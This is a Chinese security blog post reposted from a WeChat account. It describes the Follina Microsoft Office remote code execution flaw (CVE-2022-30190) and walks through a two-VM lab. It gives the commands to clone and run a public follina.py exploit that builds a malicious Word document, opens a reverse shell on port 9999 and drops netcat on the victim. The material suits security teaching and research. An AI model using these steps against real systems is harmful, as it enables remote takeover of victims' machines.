Follina (CVE-2022-30190) 是最近发现的 Microsoft Office 零日漏洞（带环境）

admin
admin
admin
138664
文章
114
评论
2023年5月17日09:03:11评论62 views字数 1322阅读4分24秒阅读模式
Follina (CVE-2022-30190) 是最近发现的 Microsoft Office 零日漏洞。这是一个严重程度很高的漏洞，黑客可以利用该漏洞进行远程代码执行 (RCE) 攻击。当使用 URL 协议从调用应用程序（如 Word）调用 MSDT 时，它就存在。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。然后，攻击者可以在用户权限允许的情况下安装程序、查看、更改或删除数据，或创建新帐户。

环境

2 个虚拟机：

  • 攻击机
  • kali-linux-2022.3-virtualbox-amd64（https://www.kali.org/get-kali/#kali-virtual-machines）
  • 受害者机器
    • Windows 10（64 位）（https://drive.google.com/file/d/1YidMOwpc2h_wePDiKWeJ40V6oJz2Lhmo/view）
    • Microsoft Office 2016 Pro（https://drive.google.com/drive/folders/1CbTyNSBva6jAKKMPrp7PZlGfCJsYZmEc）

    开发

    $ git clone https://gitlab.com/grenoble-inp-ensimag/Secu3A/Devoir1/CVE_2022_30190_amine_titrofine_farah_ben_youssef_walid_lanjri.git
$ cd CVE_2022_30190_amine_titrofine_farah_ben_youssef_walid_lanjri
$ python3 follina.py –r 9999

    运行 follina.py 程序后会出现一个 ( follina.doc )，其中包含一个恶意脚本。

    为了方便两个虚拟机共享文件，我们将使用Python http Server

    $ python3 –m http.server 8080

    例子

    在端口 9999 上获取一个反向 shell。注意，这会将一个 netcat 二进制文件下载到受害者并将其放置在C:WindowsTasks. 它不会清理二进制文件。除非禁用防病毒，否则这将触发防病毒检测。

    $ python3 follina.py -r 9999

    流行calc.exe：

    $ python3 follina.py -c "calc"[+] copied staging doc /tmp/9mcvbrwo[+] created maldoc ./follina.doc[+] serving html payload on :8000
    流行notepad.exe：
    $ python3 follina.py -c "notepad"

    项目参考：https://github.com/aminetitrofine/CVE-2022-30190
    PDF参考：https://github.com/aminetitrofine/CVE-2022-30190/blob/main/Rapport_devoir_SSI.pdf

    Follina (CVE-2022-30190) 是最近发现的 Microsoft Office 零日漏洞（带环境）

    Follina (CVE-2022-30190) 是最近发现的 Microsoft Office 零日漏洞（带环境）

    Follina (CVE-2022-30190) 是最近发现的 Microsoft Office 零日漏洞（带环境）

    点它，分享点赞在看都在这里

    原文始发于微信公众号（Ots安全）：Follina (CVE-2022-30190) 是最近发现的 Microsoft Office 零日漏洞（带环境）

    免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2023年5月17日09:03:11
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                     Follina (CVE-2022-30190) 是最近发现的 Microsoft Office 零日漏洞（带环境）https://cn-sec.com/archives/1738670.html
                    免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

    发表评论

    匿名网友 填写信息